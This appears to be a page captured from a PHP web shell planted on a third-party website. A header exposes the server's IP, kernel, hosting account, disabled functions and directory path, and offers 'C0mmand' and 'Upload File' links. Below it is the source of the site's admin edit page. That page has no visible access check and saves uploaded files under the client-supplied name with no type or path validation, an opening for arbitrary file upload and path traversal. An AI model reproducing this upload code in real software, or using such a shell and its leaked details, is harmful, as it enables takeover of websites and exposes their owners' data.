|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/inaugration/uploads/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require '../connection.php';
$id = $_GET['id'];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$title = $_POST['title'];
$description = $_POST['description'];
// Handle image upload
$image_paths = [];
if (!empty($_FILES['images']['name'][0])) {
foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) {
$file_name = $_FILES['images']['name'][$key];
$file_tmp = $_FILES['images']['tmp_name'][$key];
$upload_path = "../uploads/" . $file_name;
move_uploaded_file($file_tmp, $upload_path);
$image_paths[] = $upload_path;
}
}
// Convert image paths to a string
$images = implode(',', $image_paths);
$sql = "UPDATE inaugration SET title = ?, description = ?, image_path = ? WHERE id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$title, $description, $images, $id]);
header("Location: admin_panel.php");
exit;
}
// Fetch the current record
$stmt = $pdo->prepare("SELECT * FROM inaugration WHERE id = ?");
$stmt->execute([$id]);
$section = $stmt->fetch(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Edit Section</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css">
<link rel="shortcut icon" href="../assets/img/favicon.png">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,500;0,600;0,700;1,400&display=swap">
<link rel="stylesheet" href="../assets/plugins/bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" href="../assets/plugins/fontawesome/css/fontawesome.min.css">
<link rel="stylesheet" href="../assets/plugins/fontawesome/css/all.min.css">
<link rel="stylesheet" href="../assets/plugins/datatables/datatables.min.css">
<link rel="stylesheet" href="../assets/css/style.css">
</head>
<body>
<!-- Navbar -->
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<a class="navbar-brand" href="#">Admin Panel</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<?php include 'sidebar.php'; ?>
</div>
</nav>
<!-- Main Content -->
<div class="container-fluid">
<div class="row">
<!-- Sidebar -->
<div class="col-sm-3">
<?php include 'sidebar.php'; ?>
</div>
<!-- Edit Section Form -->
<div class="col-sm-9 mt-5">
<h1>Edit Section</h1>
<form method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="title">Title:</label>
<input type="text" name="title" class="form-control" value="<?php echo htmlspecialchars($section['title']); ?>" required>
</div>
<div class="form-group">
<label for="description">Description:</label>
<textarea name="description" class="form-control" required><?php echo htmlspecialchars($section['description']); ?></textarea>
</div>
<div class="form-group">
<label for="images">Images:</label>
<input type="file" name="images[]" class="form-control" multiple>
</div>
<button type="submit" class="btn btn-primary">Update</button>
</form>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>